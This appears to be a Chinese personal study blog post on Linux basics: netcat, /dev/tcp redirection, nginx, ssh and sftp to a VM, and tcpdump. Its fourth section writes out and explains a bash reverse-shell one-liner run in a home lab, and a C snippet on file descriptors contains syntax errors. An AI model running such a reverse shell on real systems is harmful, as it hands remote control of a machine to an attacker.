Bash反弹shell & 搭建网页服务器 & 文件描述符学习 & ssh连接vm虚拟机 & sftp进行文件传输 & Linux抓包

07-19 1455阅读

环境:

kali:

┌──(kali㉿kali)-[~/Desktop]
└─$ cat /proc/version
Linux version 6.0.0-kali5-amd64 (devel@kali.org) (gcc-12 (Debian 12.2.0-9) 12.2.0, GNU ld (GNU Binutils for Debian) 
      
1. 建立一个简单的链接进行nc,可以进行两个端口通信!
#首先使用nc监听端口
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvp 1234            
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 47210
#使用nc链接本地端口
┌──(kali㉿kali)-[~/Desktop]
└─$ nc 127.0.0.1 1234       
hello
ls
2. 试图向/dev/tcp/127.0.0.1/1234发送数据失败!

原因:反弹shell失败 原来是这个原因_反弹shell时kali监听不到端口数据怎么办-CSDN博客

kali无法实现因为:kali的bash是默认关闭bash的网络重定向选项,也就是–enable-net-redirections选项

解决方法重写下载bash并重新编译:

wget https://ftp.gnu.org/gnu/bash/bash-5.1.tar.gz
tar -xzvf bash-5.1.tar.gz
cd bash-5.1
./configure --enable-net-redirections
make
sudo make install
3.在Ubuntu上实现向本地端口发送数据

这个文件路径是虚拟的:/dev/tcp/127.0.0.1/1234

tty1:

brinmon@brinmon-virtual-machine:~/桌面$ nc -lvp 1234
Listening on 0.0.0.0 1234
Connection received on localhost 59588
djajaslkdjalskdjlaksjdlka

tty2:

brinmon@brinmon-virtual-machine:~/桌面$ cat 1.txt > /dev/tcp/127.0.0.1/1234
4.实现反弹shell

攻击者机器Windows 10:

环境:netcat 1.11 for Win32/Win64 (eternallybored.org)

#监听1234端口
┌──E:\ReverseTools\netcat-win32-1.12
└─>nc -lvp 1234

被攻击者:Ubuntu

#被攻击者执行该命令
┌──brinmon@brinmon-virtual-machine:~/桌面
└─$ bash -i >& /dev/tcp/192.168.235.1/1234 0>&1 

这条命令的作用:

  1. 通过bash启动一个shell命令窗口,将这个窗口的输出重定位到攻击者的机器上
  2. 0>&1 ,1代表标准输出,已经指向攻击者的机器了,所以这条命令的作用是将标准输入也重定向到攻击者的机器

    注:192.168.235.1是本机的网关,因为是本地所以可以不需要是用ip,当然也可以使用

命令解释:

0. /dev/tcp/192.168.235.1/1234 攻击者开启的端口

  1. bash -i 启动一个shell命令窗口
  2. > 表示重定向输出
  3. & 表示将标准输出和标准错误重定向到同一个地方
  4. 0 表示标准输入(stdin)。
  5. 1 表示标准输出(stdout)。
  6. 0>&1 表示将标准输入重定向到标准输出,使得输入和输出都通过前面建立的 TCP 连接进行传输。

    成功获得shell:

    Bash反弹shell & 搭建网页服务器 & 文件描述符学习 & ssh连接vm虚拟机 & sftp进行文件传输 & Linux抓包

5.文件描述符的使用
#include 
int main() {
	FILE *f = fopen( "1.txt" ,wb");//会创建文件描述符3
	system( "echo hello123 >&3");//>&3默认就算将0>&3,将标准输出重定向到文件1.txt
	fclose(f);
}
6.搭建网页服务器
  1. 安装nginx服务
root@brinmon-virtual-machine:/home/brinmon/桌面# apt-get install nginx
  1. 查看是否启动nginx服务
root@brinmon-virtual-machine:/var/www/html# sudo systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; preset: enabled)
     Active: active (running) since Tue 2024-05-21 22:14:18 CST; 4min 47s ago
       Docs: man:nginx(8)
    Process: 3469 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (co>
    Process: 3470 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited>
   Main PID: 3558 (nginx)
      Tasks: 5 (limit: 2219)
     Memory: 6.2M
        CPU: 35ms
     CGroup: /system.slice/nginx.service
             ├─3558 "nginx: master process /usr/sbin/nginx -g daemon on; master_process o>
             ├─3560 "nginx: worker process"
             ├─3561 "nginx: worker process"
             ├─3562 "nginx: worker process"
             └─3563 "nginx: worker process"
  1. 可以去目录下编辑网页
root@brinmon-virtual-machine:/home/brinmon/桌面# cd /var/www/html
root@brinmon-virtual-machine:/var/www/html# ls
index.nginx-debian.html

index.nginx-debian.html就是我们的网页了!可以手动修改访问这个网页直接输入本机ip就好了!

成功:欢迎来到nginx! — Welcome to nginx!

Bash反弹shell & 搭建网页服务器 & 文件描述符学习 & ssh连接vm虚拟机 & sftp进行文件传输 & Linux抓包

7.ssh连接vm虚拟机

教程:SSH远程连接linux虚拟机详细步骤(超详细)_ssh连接虚拟机-CSDN博客

  1. 设置虚拟机的网络模式为NAT模式

    Bash反弹shell & 搭建网页服务器 & 文件描述符学习 & ssh连接vm虚拟机 & sftp进行文件传输 & Linux抓包

  2. 在linux上下载ssh服务,openssh-server

#下载ssh服务
root@brinmon-virtual-machine:/var/www/html# sudo apt install openssh-server
#重启服务
root@brinmon-virtual-machine:/var/www/html# sudo service ssh restart
  1. 通过Windows连接linux
# ssh 用户名@ip地址   可以连接服务器
E:\ReverseTools\netcat-win32-1.12>ssh brinmon@192.168.235.128
ssh: connect to host 192.168.235.128 port 22: Connection refused
E:\ReverseTools\netcat-win32-1.12>ssh brinmon@192.168.235.128
The authenticity of host '192.168.235.128 (192.168.235.128)' can't be established.
ECDSA key fingerprint is SHA256:BYd+bOcoliIL45ML4l90wD1g8ljJ2eRIihPgCQg4wZo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.235.128' (ECDSA) to the list of known hosts.
brinmon@192.168.235.128's password:
Welcome to Ubuntu 23.04 (GNU/Linux 6.2.0-39-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
15 更新可以立即应用。
这些更新中有 1 个是标准安全更新。
要查看这些附加更新,请运行:apt list --upgradable
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
brinmon@brinmon-virtual-machine:~$ ls
公共的  模板  视频  图片  文档  下载  音乐  桌面  pwndocker  snap  tools
8.sftp进行文件传输
E:\ReverseTools\netcat-win32-1.12>sftp brinmon@192.168.235.128
brinmon@192.168.235.128's password:
Connected to 192.168.235.128.
sftp> ls
flag.txt    pwndocker   snap        tools    
sftp> get flag.txt
Fetching /home/brinmon/flag.txt to flag.txt
/home/brinmon/flag.txt                 100%   23     7.6KB/s   00:00
sftp> put nc.exe
Uploading nc.exe to /home/brinmon/nc.exe
nc.exe                                 100%   38KB   3.4MB/s   00:00

成功下载文件:

Bash反弹shell & 搭建网页服务器 & 文件描述符学习 & ssh连接vm虚拟机 & sftp进行文件传输 & Linux抓包

9.Linux抓包
#就可以开始抓包了
root@brinmon-virtual-machine:/home/brinmon/桌面# tcpdump -i ens33 -w 1.cap

可以将文件传入Windows用NetAnalyzer来分析流量包!

VPS购买请点击我

文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

目录[+]